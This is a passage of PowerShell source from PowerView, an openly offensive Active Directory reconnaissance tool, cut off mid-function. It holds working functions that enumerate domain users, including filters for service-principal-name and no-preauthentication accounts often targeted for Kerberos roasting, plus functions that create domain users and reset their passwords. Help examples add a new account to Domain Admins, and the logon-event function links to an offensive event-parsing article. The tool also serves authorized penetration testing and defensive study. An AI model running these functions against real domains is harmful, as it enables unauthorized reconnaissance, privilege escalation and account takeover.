4749 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
4750 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
4751 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
4752 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
4753 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
4754 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
4755 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
4756
4757 # Domain / Credential
4758 if ($PSBoundParameters['Domain']) {
4759 if ($PSBoundParameters['Credential']) {
4760 $TargetForest = Get-Domain -Domain $Domain | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name
4761 }
4762 else {
4763 $TargetForest = Get-Domain -Domain $Domain -Credential $Credential | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name
4764 }
4765 Write-Verbose "[Find-DomainObjectPropertyOutlier] Enumerated forest '$TargetForest' for target domain '$Domain'"
4766 }
4767
4768 $SchemaArguments = @{}
4769 if ($PSBoundParameters['Credential']) { $SchemaArguments['Credential'] = $Credential }
4770 if ($TargetForest) {
4771 $SchemaArguments['Forest'] = $TargetForest
4772 }
4773 }
4774
4775 PROCESS {
4776
4777 if ($PSBoundParameters['ReferencePropertySet']) {
4778 Write-Verbose "[Find-DomainObjectPropertyOutlier] Using specified -ReferencePropertySet"
4779 $ReferenceObjectProperties = $ReferencePropertySet
4780 }
4781 elseif ($PSBoundParameters['ReferenceObject']) {
4782 Write-Verbose "[Find-DomainObjectPropertyOutlier] Extracting property names from -ReferenceObject to use as the reference property set"
4783 $ReferenceObjectProperties = Get-Member -InputObject $ReferenceObject -MemberType NoteProperty | Select-Object -Expand Name
4784 $ReferenceObjectClass = $ReferenceObject.objectclass | Select-Object -Last 1
4785 Write-Verbose "[Find-DomainObjectPropertyOutlier] Calculated ReferenceObjectClass : $ReferenceObjectClass"
4786 }
4787 else {
4788 Write-Verbose "[Find-DomainObjectPropertyOutlier] Using the default reference property set for the object class '$ClassName'"
4789 }
4790
4791 if (($ClassName -eq 'User') -or ($ReferenceObjectClass -eq 'User')) {
4792 $Objects = Get-DomainUser @SearcherArguments
4793 if (-not $ReferenceObjectProperties) {
4794 $ReferenceObjectProperties = $UserReferencePropertySet
4795 }
4796 }
4797 elseif (($ClassName -eq 'Group') -or ($ReferenceObjectClass -eq 'Group')) {
4798 $Objects = Get-DomainGroup @SearcherArguments
4799 if (-not $ReferenceObjectProperties) {
4800 $ReferenceObjectProperties = $GroupReferencePropertySet
4801 }
4802 }
4803 elseif (($ClassName -eq 'Computer') -or ($ReferenceObjectClass -eq 'Computer')) {
4804 $Objects = Get-DomainComputer @SearcherArguments
4805 if (-not $ReferenceObjectProperties) {
4806 $ReferenceObjectProperties = $ComputerReferencePropertySet
4807 }
4808 }
4809 else {
4810 throw "[Find-DomainObjectPropertyOutlier] Invalid class: $ClassName"
4811 }
4812
4813 ForEach ($Object in $Objects) {
4814 $ObjectProperties = Get-Member -InputObject $Object -MemberType NoteProperty | Select-Object -Expand Name
4815 ForEach($ObjectProperty in $ObjectProperties) {
4816 if ($ReferenceObjectProperties -NotContains $ObjectProperty) {
4817 $Out = New-Object PSObject
4818 $Out | Add-Member Noteproperty 'SamAccountName' $Object.SamAccountName
4819 $Out | Add-Member Noteproperty 'Property' $ObjectProperty
4820 $Out | Add-Member Noteproperty 'Value' $Object.$ObjectProperty
4821 $Out.PSObject.TypeNames.Insert(0, 'PowerView.PropertyOutlier')
4822 $Out
4823 }
4824 }
4825 }
4826 }
4827}
4828
4829
4830########################################################
4831#
4832# "net *" replacements and other fun start below
4833#
4834########################################################
4835
4836function Get-DomainUser {
4837<#
4838.SYNOPSIS
4839
4840Return all users or specific user objects in AD.
4841
4842Author: Will Schroeder (@harmj0y)
4843License: BSD 3-Clause
4844Required Dependencies: Get-DomainSearcher, Convert-ADName, Convert-LDAPProperty
4845
4846.DESCRIPTION
4847
4848Builds a directory searcher object using Get-DomainSearcher, builds a custom
4849LDAP filter based on targeting/filter parameters, and searches for all objects
4850matching the criteria. To only return specific properties, use
4851"-Properties samaccountname,usnchanged,...". By default, all user objects for
4852the current domain are returned.
4853
4854.PARAMETER Identity
4855
4856A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
4857SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
4858Wildcards accepted. Also accepts DOMAIN\user format.
4859
4860.PARAMETER SPN
4861
4862Switch. Only return user objects with non-null service principal names.
4863
4864.PARAMETER UACFilter
4865
4866Dynamic parameter that accepts one or more values from $UACEnum, including
4867"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'.
4868
4869.PARAMETER AdminCount
4870
4871Switch. Return users with '(adminCount=1)' (meaning are/were privileged).
4872
4873.PARAMETER AllowDelegation
4874
4875Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation'
4876
4877.PARAMETER DisallowDelegation
4878
4879Switch. Return user accounts that are marked as 'sensitive and not allowed for delegation'
4880
4881.PARAMETER TrustedToAuth
4882
4883Switch. Return computer objects that are trusted to authenticate for other principals.
4884
4885.PARAMETER PreauthNotRequired
4886
4887Switch. Return user accounts with "Do not require Kerberos preauthentication" set.
4888
4889.PARAMETER Domain
4890
4891Specifies the domain to use for the query, defaults to the current domain.
4892
4893.PARAMETER LDAPFilter
4894
4895Specifies an LDAP query string that is used to filter Active Directory objects.
4896
4897.PARAMETER Properties
4898
4899Specifies the properties of the output object to retrieve from the server.
4900
4901.PARAMETER SearchBase
4902
4903The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
4904Useful for OU queries.
4905
4906.PARAMETER Server
4907
4908Specifies an Active Directory server (domain controller) to bind to.
4909
4910.PARAMETER SearchScope
4911
4912Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
4913
4914.PARAMETER ResultPageSize
4915
4916Specifies the PageSize to set for the LDAP searcher object.
4917
4918.PARAMETER ServerTimeLimit
4919
4920Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
4921
4922.PARAMETER SecurityMasks
4923
4924Specifies an option for examining security information of a directory object.
4925One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
4926
4927.PARAMETER Tombstone
4928
4929Switch. Specifies that the searcher should also return deleted/tombstoned objects.
4930
4931.PARAMETER FindOne
4932
4933Only return one result object.
4934
4935.PARAMETER Credential
4936
4937A [Management.Automation.PSCredential] object of alternate credentials
4938for connection to the target domain.
4939
4940.PARAMETER Raw
4941
4942Switch. Return raw results instead of translating the fields into a custom PSObject.
4943
4944.EXAMPLE
4945
4946Get-DomainUser -Domain testlab.local
4947
4948Return all users for the testlab.local domain
4949
4950.EXAMPLE
4951
4952Get-DomainUser "S-1-5-21-890171859-3433809279-3366196753-1108","administrator"
4953
4954Return the user with the given SID, as well as Administrator.
4955
4956.EXAMPLE
4957
4958'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff
4959
4960lastlogoff samaccountname
4961---------- --------------
496212/31/1600 4:00:00 PM dfm.a
496312/31/1600 4:00:00 PM dfm
496412/31/1600 4:00:00 PM harmj0y
496512/31/1600 4:00:00 PM Administrator
4966
4967.EXAMPLE
4968
4969Get-DomainUser -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -AdminCount -AllowDelegation
4970
4971Search the specified OU for privileged user (AdminCount = 1) that allow delegation
4972
4973.EXAMPLE
4974
4975Get-DomainUser -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon
4976
4977Search for users with a primary group ID other than 513 ('domain users') and only return samaccountname and lastlogon
4978
4979.EXAMPLE
4980
4981Get-DomainUser -UACFilter DONT_REQ_PREAUTH,NOT_PASSWORD_EXPIRED
4982
4983Find users who doesn't require Kerberos preauthentication and DON'T have an expired password.
4984
4985.EXAMPLE
4986
4987$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
4988$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
4989Get-DomainUser -Credential $Cred
4990
4991.EXAMPLE
4992
4993Get-Domain | Select-Object -Expand name
4994testlab.local
4995
4996Get-DomainUser dev\user1 -Verbose -Properties distinguishedname
4997VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
4998VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
4999VERBOSE: [Get-DomainUser] filter string: (&(samAccountType=805306368)(|(samAccountName=user1)))
5000
5001distinguishedname
5002-----------------
5003CN=user1,CN=Users,DC=dev,DC=testlab,DC=local
5004
5005.INPUTS
5006
5007String
5008
5009.OUTPUTS
5010
5011PowerView.User
5012
5013Custom PSObject with translated user property fields.
5014
5015PowerView.User.Raw
5016
5017The raw DirectoryServices.SearchResult object, if -Raw is enabled.
5018#>
5019
5020 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
5021 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
5022 [OutputType('PowerView.User')]
5023 [OutputType('PowerView.User.Raw')]
5024 [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')]
5025 Param(
5026 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
5027 [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
5028 [String[]]
5029 $Identity,
5030
5031 [Switch]
5032 $SPN,
5033
5034 [Switch]
5035 $AdminCount,
5036
5037 [Parameter(ParameterSetName = 'AllowDelegation')]
5038 [Switch]
5039 $AllowDelegation,
5040
5041 [Parameter(ParameterSetName = 'DisallowDelegation')]
5042 [Switch]
5043 $DisallowDelegation,
5044
5045 [Switch]
5046 $TrustedToAuth,
5047
5048 [Alias('KerberosPreauthNotRequired', 'NoPreauth')]
5049 [Switch]
5050 $PreauthNotRequired,
5051
5052 [ValidateNotNullOrEmpty()]
5053 [String]
5054 $Domain,
5055
5056 [ValidateNotNullOrEmpty()]
5057 [Alias('Filter')]
5058 [String]
5059 $LDAPFilter,
5060
5061 [ValidateNotNullOrEmpty()]
5062 [String[]]
5063 $Properties,
5064
5065 [ValidateNotNullOrEmpty()]
5066 [Alias('ADSPath')]
5067 [String]
5068 $SearchBase,
5069
5070 [ValidateNotNullOrEmpty()]
5071 [Alias('DomainController')]
5072 [String]
5073 $Server,
5074
5075 [ValidateSet('Base', 'OneLevel', 'Subtree')]
5076 [String]
5077 $SearchScope = 'Subtree',
5078
5079 [ValidateRange(1, 10000)]
5080 [Int]
5081 $ResultPageSize = 200,
5082
5083 [ValidateRange(1, 10000)]
5084 [Int]
5085 $ServerTimeLimit,
5086
5087 [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
5088 [String]
5089 $SecurityMasks,
5090
5091 [Switch]
5092 $Tombstone,
5093
5094 [Alias('ReturnOne')]
5095 [Switch]
5096 $FindOne,
5097
5098 [Management.Automation.PSCredential]
5099 [Management.Automation.CredentialAttribute()]
5100 $Credential = [Management.Automation.PSCredential]::Empty,
5101
5102 [Switch]
5103 $Raw
5104 )
5105
5106 DynamicParam {
5107 $UACValueNames = [Enum]::GetNames($UACEnum)
5108 # add in the negations
5109 $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
5110 # create new dynamic parameter
5111 New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
5112 }
5113
5114 BEGIN {
5115 $SearcherArguments = @{}
5116 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
5117 if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
5118 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
5119 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
5120 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
5121 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
5122 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
5123 if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
5124 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
5125 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
5126 $UserSearcher = Get-DomainSearcher @SearcherArguments
5127 }
5128
5129 PROCESS {
5130 #bind dynamic parameter to a friendly variable
5131 if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
5132 New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
5133 }
5134
5135 if ($UserSearcher) {
5136 $IdentityFilter = ''
5137 $Filter = ''
5138 $Identity | Where-Object {$_} | ForEach-Object {
5139 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
5140 if ($IdentityInstance -match '^S-1-') {
5141 $IdentityFilter += "(objectsid=$IdentityInstance)"
5142 }
5143 elseif ($IdentityInstance -match '^CN=') {
5144 $IdentityFilter += "(distinguishedname=$IdentityInstance)"
5145 if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
5146 # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
5147 # and rebuild the domain searcher
5148 $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
5149 Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
5150 $SearcherArguments['Domain'] = $IdentityDomain
5151 $UserSearcher = Get-DomainSearcher @SearcherArguments
5152 if (-not $UserSearcher) {
5153 Write-Warning "[Get-DomainUser] Unable to retrieve domain searcher for '$IdentityDomain'"
5154 }
5155 }
5156 }
5157 elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
5158 $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
5159 $IdentityFilter += "(objectguid=$GuidByteString)"
5160 }
5161 elseif ($IdentityInstance.Contains('\')) {
5162 $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
5163 if ($ConvertedIdentityInstance) {
5164 $UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
5165 $UserName = $IdentityInstance.Split('\')[1]
5166 $IdentityFilter += "(samAccountName=$UserName)"
5167 $SearcherArguments['Domain'] = $UserDomain
5168 Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'"
5169 $UserSearcher = Get-DomainSearcher @SearcherArguments
5170 }
5171 }
5172 else {
5173 $IdentityFilter += "(samAccountName=$IdentityInstance)"
5174 }
5175 }
5176
5177 if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
5178 $Filter += "(|$IdentityFilter)"
5179 }
5180
5181 if ($PSBoundParameters['SPN']) {
5182 Write-Verbose '[Get-DomainUser] Searching for non-null service principal names'
5183 $Filter += '(servicePrincipalName=*)'
5184 }
5185 if ($PSBoundParameters['AllowDelegation']) {
5186 Write-Verbose '[Get-DomainUser] Searching for users who can be delegated'
5187 # negation of "Accounts that are sensitive and not trusted for delegation"
5188 $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))'
5189 }
5190 if ($PSBoundParameters['DisallowDelegation']) {
5191 Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation'
5192 $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048574)'
5193 }
5194 if ($PSBoundParameters['AdminCount']) {
5195 Write-Verbose '[Get-DomainUser] Searching for adminCount=1'
5196 $Filter += '(admincount=1)'
5197 }
5198 if ($PSBoundParameters['TrustedToAuth']) {
5199 Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals'
5200 $Filter += '(msds-allowedtodelegateto=*)'
5201 }
5202 if ($PSBoundParameters['PreauthNotRequired']) {
5203 Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate'
5204 $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)'
5205 }
5206 if ($PSBoundParameters['LDAPFilter']) {
5207 Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter"
5208 $Filter += "$LDAPFilter"
5209 }
5210
5211 # build the LDAP filter for the dynamic UAC filter value
5212 $UACFilter | Where-Object {$_} | ForEach-Object {
5213 if ($_ -match 'NOT_.*') {
5214 $UACField = $_.Substring(4)
5215 $UACValue = [Int]($UACEnum::$UACField)
5216 $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
5217 }
5218 else {
5219 $UACValue = [Int]($UACEnum::$_)
5220 $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
5221 }
5222 }
5223
5224 $UserSearcher.filter = "(&(samAccountType=805306368)$Filter)"
5225 Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)"
5226
5227 if ($PSBoundParameters['FindOne']) { $Results = $UserSearcher.FindOne() }
5228 else { $Results = $UserSearcher.FindAll() }
5229 $Results | Where-Object {$_} | ForEach-Object {
5230 if ($PSBoundParameters['Raw']) {
5231 # return raw result objects
5232 $User = $_
5233 $User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw')
5234 }
5235 else {
5236 $User = Convert-LDAPProperty -Properties $_.Properties
5237 $User.PSObject.TypeNames.Insert(0, 'PowerView.User')
5238 }
5239 $User
5240 }
5241 if ($Results) {
5242 try { $Results.dispose() }
5243 catch {
5244 Write-Verbose "[Get-DomainUser] Error disposing of the Results object: $_"
5245 }
5246 }
5247 $UserSearcher.dispose()
5248 }
5249 }
5250}
5251
5252
5253function New-DomainUser {
5254<#
5255.SYNOPSIS
5256
5257Creates a new domain user (assuming appropriate permissions) and returns the user object.
5258
5259TODO: implement all properties that New-ADUser implements (https://technet.microsoft.com/en-us/library/ee617253.aspx).
5260
5261Author: Will Schroeder (@harmj0y)
5262License: BSD 3-Clause
5263Required Dependencies: Get-PrincipalContext
5264
5265.DESCRIPTION
5266
5267First binds to the specified domain context using Get-PrincipalContext.
5268The bound domain context is then used to create a new
5269DirectoryServices.AccountManagement.UserPrincipal with the specified user properties.
5270
5271.PARAMETER SamAccountName
5272
5273Specifies the Security Account Manager (SAM) account name of the user to create.
5274Maximum of 256 characters. Mandatory.
5275
5276.PARAMETER AccountPassword
5277
5278Specifies the password for the created user. Mandatory.
5279
5280.PARAMETER Name
5281
5282Specifies the name of the user to create. If not provided, defaults to SamAccountName.
5283
5284.PARAMETER DisplayName
5285
5286Specifies the display name of the user to create. If not provided, defaults to SamAccountName.
5287
5288.PARAMETER Description
5289
5290Specifies the description of the user to create.
5291
5292.PARAMETER Domain
5293
5294Specifies the domain to use to search for user/group principals, defaults to the current domain.
5295
5296.PARAMETER Credential
5297
5298A [Management.Automation.PSCredential] object of alternate credentials
5299for connection to the target domain.
5300
5301.EXAMPLE
5302
5303$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
5304New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword
5305
5306Creates the 'harmj0y2' user with the specified description and password.
5307
5308.EXAMPLE
5309
5310$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
5311$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
5312$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
5313$user = New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword -Credential $Cred
5314
5315Creates the 'harmj0y2' user with the specified description and password, using the specified
5316alternate credentials.
5317
5318.EXAMPLE
5319
5320$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
5321$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
5322$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
5323New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred
5324
5325Creates the 'andy' user with the specified description and password, using the specified
5326alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember
5327and the alternate credentials.
5328
5329.OUTPUTS
5330
5331DirectoryServices.AccountManagement.UserPrincipal
5332
5333.LINK
5334
5335http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/
5336#>
5337
5338 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
5339 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
5340 [OutputType('DirectoryServices.AccountManagement.UserPrincipal')]
5341 Param(
5342 [Parameter(Mandatory = $True)]
5343 [ValidateLength(0, 256)]
5344 [String]
5345 $SamAccountName,
5346
5347 [Parameter(Mandatory = $True)]
5348 [ValidateNotNullOrEmpty()]
5349 [Alias('Password')]
5350 [Security.SecureString]
5351 $AccountPassword,
5352
5353 [ValidateNotNullOrEmpty()]
5354 [String]
5355 $Name,
5356
5357 [ValidateNotNullOrEmpty()]
5358 [String]
5359 $DisplayName,
5360
5361 [ValidateNotNullOrEmpty()]
5362 [String]
5363 $Description,
5364
5365 [ValidateNotNullOrEmpty()]
5366 [String]
5367 $Domain,
5368
5369 [Management.Automation.PSCredential]
5370 [Management.Automation.CredentialAttribute()]
5371 $Credential = [Management.Automation.PSCredential]::Empty
5372 )
5373
5374 $ContextArguments = @{
5375 'Identity' = $SamAccountName
5376 }
5377 if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
5378 if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
5379 $Context = Get-PrincipalContext @ContextArguments
5380
5381 if ($Context) {
5382 $User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context.Context)
5383
5384 # set all the appropriate user parameters
5385 $User.SamAccountName = $Context.Identity
5386 $TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)
5387 $User.SetPassword($TempCred.GetNetworkCredential().Password)
5388 $User.Enabled = $True
5389 $User.PasswordNotRequired = $False
5390
5391 if ($PSBoundParameters['Name']) {
5392 $User.Name = $Name
5393 }
5394 else {
5395 $User.Name = $Context.Identity
5396 }
5397 if ($PSBoundParameters['DisplayName']) {
5398 $User.DisplayName = $DisplayName
5399 }
5400 else {
5401 $User.DisplayName = $Context.Identity
5402 }
5403
5404 if ($PSBoundParameters['Description']) {
5405 $User.Description = $Description
5406 }
5407
5408 Write-Verbose "[New-DomainUser] Attempting to create user '$SamAccountName'"
5409 try {
5410 $Null = $User.Save()
5411 Write-Verbose "[New-DomainUser] User '$SamAccountName' successfully created"
5412 $User
5413 }
5414 catch {
5415 Write-Warning "[New-DomainUser] Error creating user '$SamAccountName' : $_"
5416 }
5417 }
5418}
5419
5420
5421function Set-DomainUserPassword {
5422<#
5423.SYNOPSIS
5424
5425Sets the password for a given user identity.
5426
5427Author: Will Schroeder (@harmj0y)
5428License: BSD 3-Clause
5429Required Dependencies: Get-PrincipalContext
5430
5431.DESCRIPTION
5432
5433First binds to the specified domain context using Get-PrincipalContext.
5434The bound domain context is then used to search for the specified user -Identity,
5435which returns a DirectoryServices.AccountManagement.UserPrincipal object. The
5436SetPassword() function is then invoked on the user, setting the password to -AccountPassword.
5437
5438.PARAMETER Identity
5439
5440A user SamAccountName (e.g. User1), DistinguishedName (e.g. CN=user1,CN=Users,DC=testlab,DC=local),
5441SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1113), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
5442specifying the user to reset the password for.
5443
5444.PARAMETER AccountPassword
5445
5446Specifies the password to reset the target user's to. Mandatory.
5447
5448.PARAMETER Domain
5449
5450Specifies the domain to use to search for the user identity, defaults to the current domain.
5451
5452.PARAMETER Credential
5453
5454A [Management.Automation.PSCredential] object of alternate credentials
5455for connection to the target domain.
5456
5457.EXAMPLE
5458
5459$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
5460Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword
5461
5462Resets the password for 'andy' to the password specified.
5463
5464.EXAMPLE
5465
5466$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
5467$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
5468$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
5469Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred
5470
5471Resets the password for 'andy' usering the alternate credentials specified.
5472
5473.OUTPUTS
5474
5475DirectoryServices.AccountManagement.UserPrincipal
5476
5477.LINK
5478
5479http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/
5480#>
5481
5482 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
5483 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
5484 [OutputType('DirectoryServices.AccountManagement.UserPrincipal')]
5485 Param(
5486 [Parameter(Position = 0, Mandatory = $True)]
5487 [Alias('UserName', 'UserIdentity', 'User')]
5488 [String]
5489 $Identity,
5490
5491 [Parameter(Mandatory = $True)]
5492 [ValidateNotNullOrEmpty()]
5493 [Alias('Password')]
5494 [Security.SecureString]
5495 $AccountPassword,
5496
5497 [ValidateNotNullOrEmpty()]
5498 [String]
5499 $Domain,
5500
5501 [Management.Automation.PSCredential]
5502 [Management.Automation.CredentialAttribute()]
5503 $Credential = [Management.Automation.PSCredential]::Empty
5504 )
5505
5506 $ContextArguments = @{ 'Identity' = $Identity }
5507 if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
5508 if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
5509 $Context = Get-PrincipalContext @ContextArguments
5510
5511 if ($Context) {
5512 $User = [System.DirectoryServices.AccountManagement.UserPrincipal]::FindByIdentity($Context.Context, $Identity)
5513
5514 if ($User) {
5515 Write-Verbose "[Set-DomainUserPassword] Attempting to set the password for user '$Identity'"
5516 try {
5517 $TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)
5518 $User.SetPassword($TempCred.GetNetworkCredential().Password)
5519
5520 $Null = $User.Save()
5521 Write-Verbose "[Set-DomainUserPassword] Password for user '$Identity' successfully reset"
5522 }
5523 catch {
5524 Write-Warning "[Set-DomainUserPassword] Error setting password for user '$Identity' : $_"
5525 }
5526 }
5527 else {
5528 Write-Warning "[Set-DomainUserPassword] Unable to find user '$Identity'"
5529 }
5530 }
5531}
5532
5533
5534function Get-DomainUserEvent {
5535<#
5536.SYNOPSIS
5537
5538Enumerate account logon events (ID 4624) and Logon with explicit credential
5539events (ID 4648) from the specified host (default of the localhost).
5540
5541Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y)
5542License: BSD 3-Clause
5543Required Dependencies: None
5544
5545.DESCRIPTION
5546
5547This function uses an XML path filter passed to Get-WinEvent to retrieve
5548security events with IDs of 4624 (logon events) or 4648 (explicit credential
5549logon events) from -StartTime (default of now-1 day) to -EndTime (default of now).
5550A maximum of -MaxEvents (default of 5000) are returned.
5551
5552.PARAMETER ComputerName
5553
5554Specifies the computer name to retrieve events from, default of localhost.
5555
5556.PARAMETER StartTime
5557
5558The [DateTime] object representing the start of when to collect events.
5559Default of [DateTime]::Now.AddDays(-1).
5560
5561.PARAMETER EndTime
5562
5563The [DateTime] object representing the end of when to collect events.
5564Default of [DateTime]::Now.
5565
5566.PARAMETER MaxEvents
5567
5568The maximum number of events to retrieve. Default of 5000.
5569
5570.PARAMETER Credential
5571
5572A [Management.Automation.PSCredential] object of alternate credentials
5573for connection to the target computer.
5574
5575.EXAMPLE
5576
5577Get-DomainUserEvent
5578
5579Return logon events on the local machine.
5580
5581.EXAMPLE
5582
5583Get-DomainController | Get-DomainUserEvent -StartTime ([DateTime]::Now.AddDays(-3))
5584
5585Return all logon events from the last 3 days from every domain controller in the current domain.
5586
5587.EXAMPLE
5588
5589$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
5590$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
5591Get-DomainUserEvent -ComputerName PRIMARY.testlab.local -Credential $Cred -MaxEvents 1000
5592
5593Return a max of 1000 logon events from the specified machine using the specified alternate credentials.
5594
5595.OUTPUTS
5596
5597PowerView.LogonEvent
5598
5599PowerView.ExplicitCredentialLogonEvent
5600
5601.LINK
5602
5603http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/
5604#>
5605
5606 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
5607 [OutputType('PowerView.LogonEvent')]
5608 [OutputType('PowerView.ExplicitCredentialLogonEvent')]
5609 [CmdletBinding()]
5610 Param(
